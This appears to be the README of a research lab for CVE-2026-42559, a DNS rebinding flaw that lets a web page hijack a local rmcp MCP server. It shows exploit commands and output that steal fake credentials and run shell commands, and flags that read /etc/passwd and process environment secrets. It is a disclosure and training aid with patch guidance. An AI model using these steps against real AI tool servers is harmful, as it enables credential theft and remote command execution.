
Docker lab and Python proof-of-concept demonstrating DNS rebinding via unvalidated Host header in rmcp Streamable HTTP server transport (CVE-2026-42559). Includes vulnerable and patched builds for testing.
| Affected | rmcp — the official Rust SDK for the Model Context Protocol — < 1.4.0 |
| Fixed in | 1.4.0 (2026-04-10) |
| CWE | CWE-346 (Origin Validation Error), CWE-350 |
| CVSS 3.1 | 8.8 High — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
The Streamable HTTP server transport in rmcp < 1.4.0 never inspected the
inbound Host header. MCP servers are typically bound to loopback and are
protected only by the browser's same-origin policy — which DNS rebinding
defeats:
http://evil.example, served with a 1-second DNS TTL.evil.example → 127.0.0.1.fetch("http://evil.example:8000/mcp", …). The request lands
on the victim's local MCP server, but the browser still treats it as
same-origin — no CORS preflight, and the JavaScript can read every response.The only thing separating that request from a legitimate one is the Host
header: evil.example:8000 instead of 127.0.0.1:8000. With no validation, the
attacker's page gets a full MCP session and can enumerate and call every tool
the server exposes — file reads, writes, shell execution, whatever the assistant
was wired up to do.
1.4.0 added StreamableHttpServerConfig::allowed_hosts, defaulting to
["localhost", "127.0.0.1", "::1"], and a validate_dns_rebinding_headers()
gate at the top of the request handler that answers 403 Forbidden otherwise.
.
├── docker-compose.yml # two services, same source, different rmcp version
├── mcp-server/ # a realistic "developer assistant" MCP server
│ ├── Cargo.toml
│ ├── Dockerfile # RMCP_VERSION build arg pins the crate
│ └── src/main.rs
└── exploit/
└── exploit.py # PoC, Python 3.9+, no dependencies
Both containers build the same src/main.rs with the same server config.
The only difference is the pinned crate version, so the behaviour change comes
entirely from the library:
| Service | Port | rmcp | Expected |
|---|---|---|---|
vulnerable | 127.0.0.1:8000 | 1.3.0 | forged Host accepted → full compromise |
patched | 127.0.0.1:8001 | 1.4.0 | forged Host → 403 Forbidden |
The server exposes whoami, read_file and run_command, and the image is
seeded with fake credentials at /home/dev/project/.env and
/home/dev/.ssh/id_ed25519 so the exploit has something to steal.
docker compose up -d --build
Exploit the vulnerable build:
python3 exploit/exploit.py --target 127.0.0.1:8000
CVE-2026-42559 :: rmcp Streamable HTTP -- Host header is not validated
target http://127.0.0.1:8000/mcp
legit Host 127.0.0.1:8000
rebind Host mcp-rebind.attacker.example:8000
[*] step 0: baseline handshake with the legitimate Host header
[+] 200 OK -- server is up: rmcp 1.3.0
[*] step 1: replaying the post-rebind request (Host: mcp-rebind.attacker.example:8000)
[!] 200 OK -- the forged Host header was accepted: VULNERABLE to CVE-2026-42559
[+] session opened from a foreign origin: Mcp-Session-Id=589c9643-d2e6-4267-8ed5-86265f0d8b57
[*] step 2: enumerating the tools now exposed to the attacker's page
- read_file Read a file from the workstation
- run_command Run a shell command on the workstation
- whoami Describe the workstation this assistant runs on
[*] step 3: invoking tools as if the attacker page were a local MCP client
tools/call whoami
| user=unknown host=35b31d892a7a pid=1
tools/call read_file path=/home/dev/project/.env
| STRIPE_SECRET_KEY=sk_live_FAKE_0000000000000000
| DATABASE_URL=postgres://app:[email protected]:5432/app
tools/call read_file path=/home/dev/.ssh/id_ed25519
| -----BEGIN OPENSSH PRIVATE KEY-----
| FAKE-KEY-FOR-THE-CVE-2026-42559-LAB-DO-NOT-USE
| -----END OPENSSH PRIVATE KEY-----
tools/call run_command command='id; uname -a'
| uid=1000(dev) gid=1000(dev) groups=1000(dev)
| Linux 35b31d892a7a 6.10.14-linuxkit #1 SMP aarch64 GNU/Linux
[!] arbitrary read and command execution on the victim host, from a web page
Then the patched build, to confirm the fix:
python3 exploit/exploit.py --target 127.0.0.1:8001
[*] step 0: baseline handshake with the legitimate Host header
[+] 200 OK -- server is up: rmcp 1.4.0
[*] step 1: replaying the post-rebind request (Host: mcp-rebind.attacker.example:8001)
[+] 403 Forbidden -- Forbidden: Host header is not allowed
[+] NOT VULNERABLE: this build validates the Host header (rmcp >= 1.4.0)
Exit code is 1 when the target is vulnerable and 0 when it is not, so the
script drops straight into CI.
Useful flags:
python3 exploit/exploit.py \
--target 127.0.0.1:8000 \
--rebind-host wallet.attacker.example \
--loot /etc/passwd \
--command 'cat /proc/self/environ | tr "\0" "\n"'
Tear down with docker compose down.
The exploit opens a TCP connection to the target and writes an
attacker-controlled Host header (http.client.putrequest(..., skip_host=True)).
That is byte-for-byte the request a rebound browser emits — DNS rebinding is
just the mechanism that makes a browser send a foreign Host to a loopback
socket. Reproducing it this way keeps the lab to two containers and no DNS
infrastructure, while testing exactly the code path the CVE is about.
// 1. Upgrade.
// rmcp = "1.4" (or later)
// 2. Loopback-only is the default from 1.4.0 onward — nothing to do
// for a locally bound server.
let config = StreamableHttpServerConfig::default();
// 3. For a genuine public deployment, allowlist your own names.
let config = StreamableHttpServerConfig::default()
.with_allowed_hosts(["mcp.example.com", "mcp.example.com:8443"]);
If you cannot upgrade, terminate the MCP endpoint behind a reverse proxy that
rejects unknown Host values, and do not bind the server to 0.0.0.0 without
one. disable_allowed_hosts() exists but reintroduces this exact bug.
Everything here is intentionally vulnerable and exists for research and education. The containers expose a shell-execution tool by design — run the lab only on a machine you own, and never point the exploit at a host you are not authorised to test.